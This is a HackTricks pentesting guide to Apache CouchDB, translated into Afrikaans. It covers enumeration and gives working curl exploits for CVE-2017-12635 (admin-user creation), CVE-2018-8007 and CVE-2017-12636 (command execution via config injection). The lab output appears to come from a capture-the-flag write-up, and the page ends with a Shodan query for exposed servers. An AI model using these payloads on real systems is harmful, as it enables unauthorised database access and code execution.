5984,6984 - Pentesting CouchDB

Leer AWS-hacking van nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Ander maniere om HackTricks te ondersteun:

Basiese Inligting

CouchDB is 'n veelsydige en kragtige dokumentgeoriënteerde databasis wat data organiseer deur gebruik te maak van 'n sleutel-waardekaart-struktuur binne elke dokument. Velde binne die dokument kan voorgestel word as sleutel/waardepare, lysies of kaarte, wat buigsaamheid bied in data-opberging en -herwinning.

Elke dokument wat in CouchDB gestoor word, word 'n unieke identifiseerder (_id) op dokumentvlak toegewys. Daarbenewens word elke wysiging wat in die databasis aangebring en gestoor word, 'n revisienommer (_rev) toegewys. Hierdie revisienommer maak doeltreffende opsporing en bestuur van veranderinge moontlik, wat die maklike herwinning en synchronisering van data binne die databasis fasiliteer.

Verstekpoort: 5984(http), 6984(https)

PORT      STATE SERVICE REASON
5984/tcp  open  unknown syn-ack

Outomatiese Opsomming

nmap -sV --script couchdb-databases,couchdb-stats -p <PORT> <IP>
msf> use auxiliary/scanner/couchdb/couchdb_enum

Boodskap

Die banner van 'n CouchDB-diens kan verkry word deur die diens se TCP-poort te skandeer. Die banner bevat inligting soos die weergawe van die diens en die naam van die databasis. Hier is 'n voorbeeld van 'n CouchDB-banner:

HTTP/1.1 200 OK
Server: CouchDB/2.3.1 (Erlang OTP/21)
Date: Mon, 01 Jan 2022 00:00:00 GMT
Content-Type: application/json
Content-Length: 87
Cache-Control: must-revalidate

{"couchdb":"Welcome","version":"2.3.1","vendor":{"name":"The Apache Software Foundation"}}

Die banner kan nuttige inligting verskaf vir verdere ondersoek en aanvalle op die CouchDB-diens.

curl http://IP:5984/

Hierdie stuur 'n GET-versoek na die geïnstalleerde CouchDB-instantie. Die antwoord moet lyk soos een van die volgende:

{"couchdb":"Welcome","version":"0.10.1"}
{"couchdb":"Welcome","version":"2.0.0","vendor":{"name":"The Apache Software Foundation"}}

Let daarop dat as jy toegang tot die wortel van couchdb kry, ontvang jy 'n 401 Unauthorized met iets soos dit: {"error":"unauthorized","reason":"Authentication required."} jy sal nie in staat wees om die banier of enige ander eindpunt te bereik nie.

Info Enumerasie

Dit is die eindpunte waar jy toegang kan verkry met 'n GET versoek en interessante inligting kan onttrek. Jy kan meer eindpunte en meer gedetailleerde beskrywings in die couchdb dokumentasie vind.

  • /_active_tasks Lys van lopende take, insluitend die taak tipe, naam, status en proses ID.

  • /_all_dbs Gee 'n lys van al die databasisse in die CouchDB instansie.

  • /_cluster_setup Gee die status van die node of kluster, volgens die kluster opset wizard.

  • /_db_updates Gee 'n lys van alle databasis gebeure in die CouchDB instansie. Die bestaan van die _global_changes databasis is nodig om hierdie eindpunt te gebruik.

  • /_membership Vertoon die nodes wat deel is van die kluster as cluster_nodes. Die veld all_nodes vertoon alle nodes wat hierdie node van weet, insluitend diegene wat deel is van die kluster.

  • /_scheduler/jobs Lys van replikasie take. Elke taak beskrywing sal bron en teiken inligting, replikasie ID, 'n geskiedenis van onlangse gebeure, en 'n paar ander dinge insluit.

  • /_scheduler/docs Lys van replikasie dokument state. Sluit inligting in oor alle dokumente, selfs in voltooide en mislukte toestande. Vir elke dokument gee dit die dokument ID, die databasis, die replikasie ID, bron en teiken, en ander inligting.

  • /_scheduler/docs/{replicator_db}

  • /_scheduler/docs/{replicator_db}/{docid}

  • /_node/{node-name} Die /_node/{node-name} eindpunt kan gebruik word om die Erlang node naam van die bediener wat die versoek verwerk, te bevestig. Dit is die nuttigste wanneer jy toegang tot /_node/_local verkry om hierdie inligting te herwin.

  • /_node/{node-name}/_stats Die _stats hulpbron gee 'n JSON voorwerp wat die statistieke vir die lopende bediener bevat. Die letterlike string _local dien as 'n skuilnaam vir die plaaslike node naam, so vir alle statistieke URL's kan {node-name} vervang word met _local, om met die plaaslike node se statistieke te kommunikeer.

  • /_node/{node-name}/_system Die _system hulpbron gee 'n JSON voorwerp wat verskeie stelselvlak statistieke vir die lopende bediener bevat_._ Jy kan ___local as {node-name} gebruik om die huidige node inligting te kry.

  • /_node/{node-name}/_restart

  • /_up Bevestig dat die bediener op, besig is, en gereed is om op versoek te reageer. As maintenance_mode true of nolb is, sal die eindpunt 'n 404 respons gee.

  • /_uuids Versoek een of meer Universally Unique Identifiers (UUID's) van die CouchDB instansie.

  • /_reshard Gee 'n telling van voltooide, mislukte, lopende, gestop, en totale take, tesame met die toestand van resharding op die kluster.

Meer interessante inligting kan soos hier verduidelik onttrek word: https://lzone.de/cheat-sheet/CouchDB

Databasis Lys

curl -X GET http://IP:5984/_all_dbs

As daardie versoek reageer met 'n 401 ongemagtig, dan het jy geldige geloofsbriewe nodig om toegang tot die databasis te verkry:

curl -X GET http://user:password@IP:5984/_all_dbs

Om geldige Geldeenhede te vind, kan jy probeer om die diens te bruteforce (kragtig aanval) bruteforce die diens.

Hierdie is 'n voorbeeld van 'n couchdb reaksie wanneer jy genoeg voorregte het om databasisse te lys (Dit is net 'n lys van databasisse):

["_global_changes","_metadata","_replicator","_users","passwords","simpsons"]

Databasisinligting

Jy kan sekere databasisinligting verkry (soos die aantal lêers en groottes) deur toegang tot die databasisnaam:

curl http://IP:5984/<database>
curl http://localhost:5984/simpsons
#Example response:
{"db_name":"simpsons","update_seq":"7-g1AAAAFTeJzLYWBg4MhgTmEQTM4vTc5ISXLIyU9OzMnILy7JAUoxJTIkyf___z8rkQmPoiQFIJlkD1bHjE-dA0hdPFgdAz51CSB19WB1jHjU5bEASYYGIAVUOp8YtQsgavfjtx-i9gBE7X1i1D6AqAX5KwsA2vVvNQ","sizes":{"file":62767,"external":1320,"active":2466},"purge_seq":0,"other":{"data_size":1320},"doc_del_count":0,"doc_count":7,"disk_size":62767,"disk_format_version":6,"data_size":2466,"compact_running":false,"instance_start_time":"0"}

Dokumentelys

Lys elke inskrywing binne 'n databasis.

curl -X GET http://IP:5984/{dbname}/_all_docs
curl http://localhost:5984/simpsons/_all_docs
#Example response:
{"total_rows":7,"offset":0,"rows":[
{"id":"f0042ac3dc4951b51f056467a1000dd9","key":"f0042ac3dc4951b51f056467a1000dd9","value":{"rev":"1-fbdd816a5b0db0f30cf1fc38e1a37329"}},
{"id":"f53679a526a868d44172c83a61000d86","key":"f53679a526a868d44172c83a61000d86","value":{"rev":"1-7b8ec9e1c3e29b2a826e3d14ea122f6e"}},
{"id":"f53679a526a868d44172c83a6100183d","key":"f53679a526a868d44172c83a6100183d","value":{"rev":"1-e522ebc6aca87013a89dd4b37b762bd3"}},
{"id":"f53679a526a868d44172c83a61002980","key":"f53679a526a868d44172c83a61002980","value":{"rev":"1-3bec18e3b8b2c41797ea9d61a01c7cdc"}},
{"id":"f53679a526a868d44172c83a61003068","key":"f53679a526a868d44172c83a61003068","value":{"rev":"1-3d2f7da6bd52442e4598f25cc2e84540"}},
{"id":"f53679a526a868d44172c83a61003a2a","key":"f53679a526a868d44172c83a61003a2a","value":{"rev":"1-4446bfc0826ed3d81c9115e450844fb4"}},
{"id":"f53679a526a868d44172c83a6100451b","key":"f53679a526a868d44172c83a6100451b","value":{"rev":"1-3f6141f3aba11da1d65ff0c13fe6fd39"}}
]}

Lees Dokument

Lees die inhoud van 'n dokument binne 'n databasis:

curl -X GET http://IP:5984/{dbname}/{id}
curl http://localhost:5984/simpsons/f0042ac3dc4951b51f056467a1000dd9
#Example response:
{"_id":"f0042ac3dc4951b51f056467a1000dd9","_rev":"1-fbdd816a5b0db0f30cf1fc38e1a37329","character":"Homer","quote":"Doh!"}

CouchDB Voorregverhoging CVE-2017-12635

Dankie aan die verskille tussen Erlang en JavaScript JSON-parser kan jy 'n administrateurgebruiker skep met die volgende verifikasie:

curl -X PUT -d '{"type":"user","name":"hacktricks","roles":["_admin"],"roles":[],"password":"hacktricks"}' localhost:5984/_users/org.couchdb.user:hacktricks -H "Content-Type:application/json"

Meer inligting oor hierdie kwesbaarheid hier.

CouchDB RCE

Erlang Koekie Sekuriteits Oorsig

Voorbeeld van hier.

In die CouchDB dokumentasie, spesifiek in die gedeelte wat handel oor die opstel van 'n klasternetwerk (skakel), word die gebruik van poorte deur CouchDB in 'n klasterverbinding bespreek. Daar word genoem dat, soos in enkelvoudige modus, poort 5984 gebruik word. Daarbenewens is poort 5986 vir node-plaaslike API's, en belangrik, Erlang vereis TCP-poort 4369 vir die Erlang Port Mapper Daemon (EPMD), wat node kommunikasie in 'n Erlang-klasternetwerk fasiliteer. Hierdie opstelling vorm 'n netwerk waar elke node met elke ander node gekoppel is.

'n Belangrike sekuriteitsadvies word uitgelig met betrekking tot poort 4369. As hierdie poort oopgestel word vir die internet of enige onbetroubare netwerk, is die stelsel se sekuriteit sterk afhanklik van 'n unieke identifiseerder wat bekend staan as die "koekie." Hierdie koekie tree op as 'n beskerming. Byvoorbeeld, in 'n gegewe proseslys kan die koekie genaamd "monster" waargeneem word, wat dui op sy operasionele rol in die stelsel se sekuriteitsraamwerk.

www-data@canape:/$ ps aux | grep couchdb
root        744  0.0  0.0   4240   640 ?        Ss   Sep13   0:00 runsv couchdb
root        811  0.0  0.0   4384   800 ?        S    Sep13   0:00 svlogd -tt /var/log/couchdb
homer       815  0.4  3.4 649348 34524 ?        Sl   Sep13   5:33 /home/homer/bin/../erts-7.3/bin/beam -K true -A 16 -Bd -- -root /home/homer/b

Vir diegene wat belangstel om te verstaan hoe hierdie "koekie" uitgebuit kan word vir Remote Code Execution (RCE) binne die konteks van Erlang-stelsels, is daar 'n toegewyde afdeling beskikbaar vir verdere leeswerk. Dit beskryf die metodologieë vir die benutting van Erlang-koekies op ongemagtigde wyse om beheer oor stelsels te verkry. Jy kan die gedetailleerde gids oor die misbruik van Erlang-koekies vir RCE hier verken.

Uitbuiting van CVE-2018-8007 deur wysiging van local.ini

Voorbeeld van hier.

'n Onlangs bekendgemaakte kwesbaarheid, CVE-2018-8007, wat Apache CouchDB affekteer, is ondersoek en daar is bevind dat uitbuiting skryftoestemmings vir die local.ini-lêer vereis. Alhoewel dit nie direk van toepassing is op die aanvanklike teikensisteem as gevolg van sekuriteitsbeperkings nie, is wysigings aangebring om skryftoegang tot die local.ini-lêer te verleen vir verkenningsdoeleindes. Gedetailleerde stappe en kodevoorbeelde word hieronder verskaf om die proses te demonstreer.

Eerstens word die omgewing voorberei deur te verseker dat die local.ini-lêer skryfbaar is, geverifieer deur die toestemmings te lys:

root@canape:/home/homer/etc# ls -l
-r--r--r-- 1 homer homer 18477 Jan 20  2018 default.ini
-rw-rw-rw- 1 homer homer  4841 Sep 14 17:39 local.ini
-r--r--r-- 1 root  root   4841 Sep 14 14:30 local.ini.bk
-r--r--r-- 1 homer homer  1345 Jan 14  2018 vm.args

Om die kwesbaarheid uit te buit, word 'n curl-opdrag uitgevoer wat die cors/origins-konfigurasie in local.ini teiken. Dit voeg 'n nuwe oorsprong by, tesame met addisionele opdragte onder die [os_daemons]-afdeling, met die doel om willekeurige kode uit te voer:

www-data@canape:/dev/shm$ curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/cors/origins' -H "Accept: application/json" -H "Content-Type: application/json" -d "0xdf\n\n[os_daemons]\ntestdaemon = /usr/bin/touch /tmp/0xdf"

Daaropvolgende verifikasie wys die geïnjecteerde konfigurasie in local.ini, deur dit te vergelyk met 'n rugsteun om die veranderinge te beklemtoon:

root@canape:/home/homer/etc# diff local.ini local.ini.bk
119,124d118
< [cors]
< origins = 0xdf
< [os_daemons]
< test_daemon = /usr/bin/touch /tmp/0xdf

Aanvanklik bestaan die verwagte lêer (/tmp/0xdf) nie, wat aandui dat die ingeslote bevel nog nie uitgevoer is nie. Verdere ondersoek toon dat prosesse wat verband hou met CouchDB uitgevoer word, insluitend een wat moontlik die ingeslote bevel kan uitvoer:

root@canape:/home/homer/bin# ps aux | grep couch

deur die geïdentifiseerde CouchDB-proses te beëindig en die stelsel toe te laat om dit outomaties te herlaai, word die uitvoering van die ingeslote bevel geaktiveer, bevestig deur die bestaan van die vorige ontbrekende lêer:

root@canape:/home/homer/etc# kill 711
root@canape:/home/homer/etc# ls /tmp/0xdf
/tmp/0xdf

Hierdie verkenning bevestig die lewensvatbaarheid van CVE-2018-8007 uitbuiting onder spesifieke omstandighede, veral die vereiste vir skryftoegang tot die local.ini lêer. Die voorsiene kodevoorbeelde en prosedurele stappe bied 'n duidelike gids vir die herhalings van die uitbuiting in 'n beheerde omgewing.

Vir meer besonderhede oor CVE-2018-8007, verwys na die advies deur mdsec: CVE-2018-8007.

Verkenning van CVE-2017-12636 met Skryftoestemmings op local.ini

Voorbeeld van hier.

'n Kwesbaarheid bekend as CVE-2017-12636 is ondersoek, wat kodering moontlik maak via die CouchDB-proses, alhoewel spesifieke konfigurasies die uitbuiting kan voorkom. Ten spyte van talle Proof of Concept (POC) verwysings wat aanlyn beskikbaar is, is aanpassings nodig om die kwesbaarheid op CouchDB-weergawe 2 uit te buit, wat verskil van die algemeen geteikende weergawe 1.x. Die aanvanklike stappe behels die verifieer van die CouchDB-weergawe en die bevestiging van die afwesigheid van die verwagte vraagbedienerpad:

curl http://localhost:5984
curl http://0xdf:df@localhost:5984/_config/query_servers/

Om CouchDB-weergawe 2.0 te akkommodeer, word 'n nuwe pad gebruik:

curl 'http://0xdf:df@localhost:5984/_membership'
curl http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers

Pogings om 'n nuwe navraagbediener by te voeg en aan te roep, is ontmoet met toestemmingsverwante foute, soos aangedui deur die volgende uitset:

curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers/cmd' -d '"/sbin/ifconfig > /tmp/df"'

Verdere ondersoek het toestemmingsprobleme met die local.ini-lêer aan die lig gebring, wat nie skryfbaar was nie. Deur die lêerregte te wysig met root- of homer-toegang, was dit moontlik om voort te gaan:

cp /home/homer/etc/local.ini /home/homer/etc/local.ini.b
chmod 666 /home/homer/etc/local.ini

Daaropvolgende pogings om die navraagbediener by te voeg, was suksesvol, soos gedemonstreer deur die afwesigheid van foutboodskappe in die respons. Die suksesvolle wysiging van die local.ini-lêer is bevestig deur lêervergelyking:

curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers/cmd' -d '"/sbin/ifconfig > /tmp/df"'

Die proses het voortgegaan met die skep van 'n databasis en 'n dokument, gevolg deur 'n poging om kode uit te voer deur middel van 'n aangepaste aansig wat gekoppel is aan die nuut toegevoegde navraagbediener:

curl -X PUT 'http://0xdf:df@localhost:5984/df'
curl -X PUT 'http://0xdf:df@localhost:5984/df/zero' -d '{"_id": "HTP"}'
curl -X PUT 'http://0xdf:df@localhost:5984/df/_design/zero' -d '{"_id": "_design/zero", "views": {"anything": {"map": ""} }, "language": "cmd"}'

'n opsomming met 'n alternatiewe lading bied verdere insigte in die uitbuiting van CVE-2017-12636 onder spesifieke omstandighede. Nuttige hulpbronne vir die uitbuiting van hierdie kwesbaarheid sluit in:

Shodan

  • port:5984 couchdb

Verwysings

Leer AWS-hacking van nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Ander maniere om HackTricks te ondersteun:

Last updated